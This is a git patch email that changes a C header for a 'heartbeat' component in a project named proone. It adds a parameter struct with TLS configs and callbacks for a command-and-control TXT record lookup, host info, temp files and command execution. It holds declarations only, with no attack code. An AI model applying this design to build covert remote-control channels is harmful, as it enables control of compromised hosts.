From f36333b2c915ac7d9cf82e09ab5cb2a2f8296177 Mon Sep 17 00:00:00 2001 From: David Timber Date: Sat, 29 Aug 2020 17:09:10 +0930 Subject: * _POSIX_C_SOURCE=199506L * Add proone-htbthost * Add prne_iobuf, use it in resolv, htbt * memzero() -> prne_memzero() now as a function * Add prne_mbedtls_pth_handle() * Protocol changes * Remove prne_unint_*() * Add src/proone_conf.skel --- src/htbt.h | 33 +++++++++++++++++++++++++++------ 1 file changed, 27 insertions(+), 6 deletions(-) (limited to 'src/htbt.h') diff --git a/src/htbt.h b/src/htbt.h index edb6cda..b714b1e 100644 --- a/src/htbt.h +++ b/src/htbt.h @@ -1,14 +1,35 @@ #pragma once #include "pth.h" #include "resolv.h" +#include "protocol.h" + +#include -typedef struct prne_htbt prne_htbt_t; struct prne_htbt; +typedef struct prne_htbt prne_htbt_t; +typedef struct prne_htbt_param prne_htbt_param_t; +typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); +typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); +typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size); +typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd); +typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); + +struct prne_htbt_param { + mbedtls_ssl_config *lbd_ssl_conf; + mbedtls_ssl_config *cncp_ssl_conf; + mbedtls_ctr_drbg_context *ctr_drbg; + prne_resolv_t *resolv; + struct { + prne_htbt_cnc_txtrec_ft cnc_txtrec; + prne_htbt_hostinfo_ft hostinfo; // optional + prne_htbt_tmpfile_ft tmpfile; // optional + prne_htbt_bin_ft ny_bin; // optional + } cb_f; +}; + +prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param); -prne_htbt_t *prne_alloc_htbt_worker ( - prne_worker_t *w, - pth_t sigterm_pth, - prne_resolv_t *resolv, // optional - mbedtls_ctr_drbg_context *ctr_drbg); +void prne_htbt_init_param (prne_htbt_param_t *p); +void prne_htbt_free_param (prne_htbt_param_t *p); -- cgit